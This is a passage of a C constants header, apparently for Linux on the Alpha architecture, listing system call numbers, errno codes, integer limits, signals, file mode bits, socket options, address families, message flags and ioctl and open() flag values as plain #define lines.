#define __NR_osf_setitimer 83 #define __NR_osf_old_wait 84 #define __NR_osf_table 85 #define __NR_osf_getitimer 86 #define __NR_gethostname 87 #define __NR_sethostname 88 #define __NR_getdtablesize 89 #define __NR_dup2 90 #define __NR_fstat 91 #define __NR_fcntl 92 #define __NR_osf_select 93 #define __NR_poll 94 #define __NR_fsync 95 #define __NR_setpriority 96 #define __NR_socket 97 #define __NR_connect 98 #define __NR_accept 99 #define __NR_getpriority 100 #define __NR_send 101 #define __NR_recv 102 #define __NR_sigreturn 103 #define __NR_bind 104 #define __NR_setsockopt 105 #define __NR_listen 106 #define __NR_osf_plock 107 #define __NR_osf_old_sigvec 108 #define __NR_osf_old_sigblock 109 #define __NR_osf_old_sigsetmask 110 #define __NR_sigsuspend 111 #define __NR_osf_sigstack 112 #define __NR_recvmsg 113 #define __NR_sendmsg 114 #define __NR_osf_old_vtrace 115 #define __NR_osf_gettimeofday 116 #define __NR_osf_getrusage 117 #define __NR_getsockopt 118 #define __NR_readv 120 #define __NR_writev 121 #define __NR_osf_settimeofday 122 #define __NR_fchown 123 #define __NR_fchmod 124 #define __NR_recvfrom 125 #define __NR_setreuid 126 #define __NR_setregid 127 #define __NR_rename 128 #define __NR_truncate 129 #define __NR_ftruncate 130 #define __NR_flock 131 #define __NR_setgid 132 #define __NR_sendto 133 #define __NR_shutdown 134 #define __NR_socketpair 135 #define __NR_mkdir 136 #define __NR_rmdir 137 #define __NR_osf_utimes 138 #define __NR_osf_old_sigreturn 139 #define __NR_osf_adjtime 140 #define __NR_getpeername 141 #define __NR_osf_gethostid 142 #define __NR_osf_sethostid 143 #define __NR_getrlimit 144 #define __NR_setrlimit 145 #define __NR_osf_old_killpg 146 #define __NR_setsid 147 #define __NR_quotactl 148 #define __NR_osf_oldquota 149 #define __NR_getsockname 150 #define __NR_osf_pid_block 153 #define __NR_osf_pid_unblock 154 #define __NR_sigaction 156 #define __NR_osf_sigwaitprim 157 #define __NR_osf_nfssvc 158 #define __NR_osf_getdirentries 159 #define __NR_osf_statfs 160 #define __NR_osf_fstatfs 161 #define __NR_osf_asynch_daemon 163 #define __NR_osf_getfh 164 #define __NR_osf_getdomainname 165 #define __NR_setdomainname 166 #define __NR_osf_exportfs 169 #define __NR_osf_alt_plock 181 #define __NR_osf_getmnt 184 #define __NR_osf_alt_sigpending 187 #define __NR_osf_alt_setsid 188 #define __NR_osf_swapon 199 #define __NR_msgctl 200 #define __NR_msgget 201 #define __NR_msgrcv 202 #define __NR_msgsnd 203 #define __NR_semctl 204 #define __NR_semget 205 #define __NR_semop 206 #define __NR_osf_utsname 207 #define __NR_lchown 208 #define __NR_osf_shmat 209 #define __NR_shmctl 210 #define __NR_shmdt 211 #define __NR_shmget 212 #define __NR_osf_mvalid 213 #define __NR_osf_getaddressconf 214 #define __NR_osf_msleep 215 #define __NR_osf_mwakeup 216 #define __NR_msync 217 #define __NR_osf_signal 218 #define __NR_osf_utc_gettime 219 #define __NR_osf_utc_adjtime 220 #define __NR_osf_security 222 #define __NR_osf_kloadcall 223 #define __NR_getpgid 233 #define __NR_getsid 234 #define __NR_sigaltstack 235 #define __NR_osf_waitid 236 #define __NR_osf_priocntlset 237 #define __NR_osf_sigsendset 238 #define __NR_osf_set_speculative 239 #define __NR_osf_msfs_syscall 240 #define __NR_osf_sysinfo 241 #define __NR_osf_uadmin 242 #define __NR_osf_fuser 243 #define __NR_osf_proplist_syscall 244 #define __NR_osf_ntp_adjtime 245 #define __NR_osf_ntp_gettime 246 #define __NR_osf_pathconf 247 #define __NR_osf_fpathconf 248 #define __NR_osf_uswitch 250 #define __NR_osf_usleep_thread 251 #define __NR_osf_audcntl 252 #define __NR_osf_audgen 253 #define __NR_sysfs 254 #define __NR_osf_subsys_info 255 #define __NR_osf_getsysinfo 256 #define __NR_osf_setsysinfo 257 #define __NR_osf_afs_syscall 258 #define __NR_osf_swapctl 259 #define __NR_osf_memcntl 260 #define __NR_osf_fdatasync 261 #define __NR_umount_with_flags 22 #define __NR_bdflush 300 #define __NR_sethae 301 #define __NR_mount 302 #define __NR_old_adjtimex 303 #define __NR_swapoff 304 #define __NR_getdents 305 #define __NR_create_module 306 #define __NR_init_module 307 #define __NR_delete_module 308 #define __NR_get_kernel_syms 309 #define __NR_syslog 310 #define __NR_reboot 311 #define __NR_clone 312 #define __NR_uselib 313 #define __NR_mlock 314 #define __NR_munlock 315 #define __NR_mlockall 316 #define __NR_munlockall 317 #define __NR_sysinfo 318 #define __NR__sysctl 319 #define __NR_oldumount 321 #define __NR_swapon 322 #define __NR_times 323 #define __NR_personality 324 #define __NR_setfsuid 325 #define __NR_setfsgid 326 #define __NR_ustat 327 #define __NR_statfs 328 #define __NR_fstatfs 329 #define __NR_sched_setparam 330 #define __NR_sched_getparam 331 #define __NR_sched_setscheduler 332 #define __NR_sched_getscheduler 333 #define __NR_sched_yield 334 #define __NR_sched_get_priority_max 335 #define __NR_sched_get_priority_min 336 #define __NR_sched_rr_get_interval 337 #define __NR_afs_syscall 338 #define __NR_uname 339 #define __NR_nanosleep 340 #define __NR_mremap 341 #define __NR_nfsservctl 342 #define __NR_setresuid 343 #define __NR_getresuid 344 #define __NR_pciconfig_read 345 #define __NR_pciconfig_write 346 #define __NR_query_module 347 #define __NR_prctl 348 #define __NR_pread 349 #define __NR_pwrite 350 #define __NR_rt_sigreturn 351 #define __NR_rt_sigaction 352 #define __NR_rt_sigprocmask 353 #define __NR_rt_sigpending 354 #define __NR_rt_sigtimedwait 355 #define __NR_rt_sigqueueinfo 356 #define __NR_rt_sigsuspend 357 #define __NR_select 358 #define __NR_gettimeofday 359 #define __NR_settimeofday 360 #define __NR_getitimer 361 #define __NR_setitimer 362 #define __NR_utimes 363 #define __NR_getrusage 364 #define __NR_wait4 365 #define __NR_adjtimex 366 #define __NR_getcwd 367 #define __NR_capget 368 #define __NR_capset 369 #define __NR_sendfile 370 #define __NR_setresgid 371 #define __NR_getresgid 372 #define __NR_dipc 373 #define __NR_pivot_root 374 #define __NR_mincore 375 #define __NR_pciconfig_iobase 376 #define __NR_getdents64 377 #define __NR_gettid 378 #define __NR_readahead 379 #define __NR_tkill 381 #define __NR_setxattr 382 #define __NR_lsetxattr 383 #define __NR_fsetxattr 384 #define __NR_getxattr 385 #define __NR_lgetxattr 386 #define __NR_fgetxattr 387 #define __NR_listxattr 388 #define __NR_llistxattr 389 #define __NR_flistxattr 390 #define __NR_removexattr 391 #define __NR_lremovexattr 392 #define __NR_fremovexattr 393 #define __NR_futex 394 #define __NR_sched_setaffinity 395 #define __NR_sched_getaffinity 396 #define __NR_tuxcall 397 #define __NR_io_setup 398 #define __NR_io_destroy 399 #define __NR_io_getevents 400 #define __NR_io_submit 401 #define __NR_io_cancel 402 #define __NR_exit_group 405 #define __NR_lookup_dcookie 406 #define __NR_sys_epoll_create 407 #define __NR_sys_epoll_ctl 408 #define __NR_sys_epoll_wait 409 #define __NR_remap_file_pages 410 #define __NR_set_tid_address 411 #define __NR_restart_syscall 412 #define __NR_fadvise64 413 #define __NR_timer_create 414 #define __NR_timer_settime 415 #define __NR_timer_gettime 416 #define __NR_timer_getoverrun 417 #define __NR_timer_delete 418 #define __NR_clock_settime 419 #define __NR_clock_gettime 420 #define __NR_clock_getres 421 #define __NR_clock_nanosleep 422 #define __NR_semtimedop 423 #define __NR_tgkill 424 #define __NR_stat64 425 #define __NR_lstat64 426 #define __NR_fstat64 427 #define __NR_vserver 428 #define __NR_mbind 429 #define __NR_get_mempolicy 430 #define __NR_set_mempolicy 431 #define __NR_mq_open 432 #define __NR_mq_unlink 433 #define __NR_mq_timedsend 434 #define __NR_mq_timedreceive 435 #define __NR_mq_notify 436 #define __NR_mq_getsetattr 437 #define __NR_waitid 438 #define __NR_add_key 439 #define __NR_request_key 440 #define __NR_keyctl 441 #define __NR_ioprio_set 442 #define __NR_ioprio_get 443 #define __NR_inotify_init 444 #define __NR_inotify_add_watch 445 #define __NR_inotify_rm_watch 446 #define __NR_fdatasync 447 #define __NR_kexec_load 448 #define __NR_migrate_pages 449 #define __NR_openat 450 #define __NR_mkdirat 451 #define __NR_mknodat 452 #define __NR_fchownat 453 #define __NR_futimesat 454 #define __NR_fstatat64 455 #define __NR_unlinkat 456 #define __NR_renameat 457 #define __NR_linkat 458 #define __NR_symlinkat 459 #define __NR_readlinkat 460 #define __NR_fchmodat 461 #define __NR_faccessat 462 #define __NR_pselect6 463 #define __NR_ppoll 464 #define __NR_unshare 465 #define __NR_set_robust_list 466 #define __NR_get_robust_list 467 #define __NR_splice 468 #define __NR_sync_file_range 469 #define __NR_tee 470 #define __NR_vmsplice 471 #define __NR_move_pages 472 #define __NR_getcpu 473 #define __NR_epoll_pwait 474 #define __NR_utimensat 475 #define __NR_signalfd 476 #define __NR_timerfd 477 #define __NR_eventfd 478 #define __NR_recvmmsg 479 #define __NR_fallocate 480 #define __NR_timerfd_create 481 #define __NR_timerfd_settime 482 #define __NR_timerfd_gettime 483 #define __NR_signalfd4 484 #define __NR_eventfd2 485 #define __NR_epoll_create1 486 #define __NR_dup3 487 #define __NR_pipe2 488 #define __NR_inotify_init1 489 #define __NR_preadv 490 #define __NR_pwritev 491 #define __NR_rt_tgsigqueueinfo 492 #define __NR_perf_event_open 493 #define __NR_fanotify_init 494 #define __NR_fanotify_mark 495 #define __NR_prlimit64 496 #define __NR_name_to_handle_at 497 #define __NR_open_by_handle_at 498 #define __NR_clock_adjtime 499 #define __NR_syncfs 500 #define __NR_setns 501 #define __NR_accept4 502 #define __NR_sendmmsg 503 #define __NR_process_vm_readv 504 #define __NR_process_vm_writev 505 #define __NR_kcmp 506 #define __NR_finit_module 507 #define __NR_sched_setattr 508 #define __NR_sched_getattr 509 #define __NR_renameat2 510 #define __NR_getrandom 511 #define __NR_memfd_create 512 #define __NR_execveat 513 #define __NR_seccomp 514 #define __NR_bpf 515 #define __NR_userfaultfd 516 #define __NR_membarrier 517 #define __NR_mlock2 518 #define __NR_copy_file_range 519 #define __NR_preadv2 520 #define __NR_pwritev2 521 #define __NR_statx 522 #define __NR_io_pgetevents 523 #define __NR_pkey_mprotect 524 #define __NR_pkey_alloc 525 #define __NR_pkey_free 526 #define __NR_rseq 527 #define __NR_statfs64 528 #define __NR_fstatfs64 529 #define __NR_getegid 530 #define __NR_geteuid 531 #define __NR_getppid 532 #define __NR_pidfd_send_signal 534 #define __NR_io_uring_setup 535 #define __NR_io_uring_enter 536 #define __NR_io_uring_register 537 #define __NR_open_tree 538 #define __NR_move_mount 539 #define __NR_fsopen 540 #define __NR_fsconfig 541 #define __NR_fsmount 542 #define __NR_fspick 543 #define __NR_pidfd_open 544 #define __NR_openat2 547 #define __NR_pidfd_getfd 548 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EDEADLK 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EAGAIN 35 #define EWOULDBLOCK 35 #define EINPROGRESS 36 #define EALREADY 37 #define ENOTSOCK 38 #define EDESTADDRREQ 39 #define EMSGSIZE 40 #define EPROTOTYPE 41 #define ENOPROTOOPT 42 #define EPROTONOSUPPORT 43 #define ESOCKTNOSUPPORT 44 #define EOPNOTSUPP 45 #define ENOTSUP 45 #define EPFNOSUPPORT 46 #define EAFNOSUPPORT 47 #define EADDRINUSE 48 #define EADDRNOTAVAIL 49 #define ENETDOWN 50 #define ENETUNREACH 51 #define ENETRESET 52 #define ECONNABORTED 53 #define ECONNRESET 54 #define ENOBUFS 55 #define EISCONN 56 #define ENOTCONN 57 #define ESHUTDOWN 58 #define ETOOMANYREFS 59 #define ETIMEDOUT 60 #define ECONNREFUSED 61 #define ELOOP 62 #define ENAMETOOLONG 63 #define EHOSTDOWN 64 #define EHOSTUNREACH 65 #define ENOTEMPTY 66 #define EUSERS 68 #define EDQUOT 69 #define ESTALE 70 #define EREMOTE 71 #define ENOLCK 77 #define ENOSYS 78 #define ENOMSG 80 #define EIDRM 81 #define ENOSR 82 #define ETIME 83 #define EBADMSG 84 #define EPROTO 85 #define ENODATA 86 #define ENOSTR 87 #define ENOPKG 92 #define EILSEQ 116 #define ECHRNG 88 #define EL2NSYNC 89 #define EL3HLT 90 #define EL3RST 91 #define ELNRNG 93 #define EUNATCH 94 #define ENOCSI 95 #define EL2HLT 96 #define EBADE 97 #define EBADR 98 #define EXFULL 99 #define ENOANO 100 #define EBADRQC 101 #define EBADSLT 102 #define EDEADLOCK 11 #define EBFONT 104 #define ENONET 105 #define ENOLINK 106 #define EADV 107 #define ESRMNT 108 #define ECOMM 109 #define EMULTIHOP 110 #define EDOTDOT 111 #define EOVERFLOW 112 #define ENOTUNIQ 113 #define EBADFD 114 #define EREMCHG 115 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define ELIBACC 122 #define ELIBBAD 123 #define ELIBSCN 124 #define ELIBMAX 125 #define ELIBEXEC 126 #define ERESTART 127 #define ESTRPIPE 128 #define ENOMEDIUM 129 #define EMEDIUMTYPE 130 #define ECANCELED 131 #define ENOKEY 132 #define EKEYEXPIRED 133 #define EKEYREVOKED 134 #define EKEYREJECTED 135 #define EOWNERDEAD 136 #define ENOTRECOVERABLE 137 #define ERFKILL 138 #define EHWPOISON 139 #define __SYS_NERR ((139) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 1234 #define __WORDSIZE 64 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (9223372036854775807)) #define INTPTR_MAX (9223372036854775807) #define UINTPTR_MAX 0xffffffffffffffff #define SIZE_MAX 0xffffffffffffffff #define PTRDIFF_MIN (-1 - (9223372036854775807)) #define PTRDIFF_MAX (9223372036854775807) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (9223372036854775807)) #define INT_FAST16_MAX (9223372036854775807) #define UINT_FAST16_MAX 0xffffffffffffffff #define INT_FAST32_MIN (-1 - (9223372036854775807)) #define INT_FAST32_MAX (9223372036854775807) #define UINT_FAST32_MAX 0xffffffffffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGEMT 7 #define SIGBUS 10 #define SIGSYS 12 #define SIGURG 16 #define SIGSTOP 17 #define SIGTSTP 18 #define SIGCONT 19 #define SIGCHLD 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGIO 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGPWR 29 #define SIGUSR1 30 #define SIGUSR2 31 #define SIGINFO 29 #define SIGCLD 20 #define SIGPOLL 23 #define SIGLOST 29 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_ONSTACK 0x00000001 #define SA_RESTART 0x00000002 #define SA_NOCLDSTOP 0x00000004 #define SA_NODEFER 0x00000008 #define SA_RESETHAND 0x00000010 #define SA_NOCLDWAIT 0x00000020 #define SA_SIGINFO 0x00000040 #define SA_INTERRUPT 0x20000000 #define SA_NOMASK 0x00000008 #define SA_ONESHOT 0x00000010 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 1 #define SIG_UNBLOCK 2 #define SIG_SETMASK 3 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 0xffff #define SO_DEBUG 0x0001 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_LINGER 0x0080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_TYPE 0x1008 #define SO_ERROR 0x1007 #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_BSDCOMPAT 14 #define SO_PASSCRED 17 #define SO_PEERCRED 18 #define SO_SECURITY_AUTHENTICATION 19 #define SO_SECURITY_ENCRYPTION_TRANSPORT 20 #define SO_SECURITY_ENCRYPTION_NETWORK 21 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_PEERSEC 30 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SO_SNDBUFFORCE 0x100a #define SO_RCVBUFFORCE 0x100b #define SO_RCVLOWAT 0x1010 #define SO_SNDLOWAT 0x1011 #define SO_RCVTIMEO 0x1012 #define SO_SNDTIMEO 0x1013 #define SO_ACCEPTCONN 0x1014 #define SO_PROTOCOL 0x1028 #define SO_DOMAIN 0x1029 #define SO_STYLE 0x1008 #define SOCK_NONBLOCK 0x40000000 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x3 #define O_RDONLY 0x0 #define O_WRONLY 0x1 #define O_RDWR 0x2 #define O_CREAT 0x200 #define O_TRUNC 0x400 #define O_EXCL 0x800 #define O_NOCTTY 0x1000 #define O_NONBLOCK 0x4 #define O_APPEND 0x8 #define O_NDELAY 0x4 #define O_DSYNC 0x4000 #define FASYNC 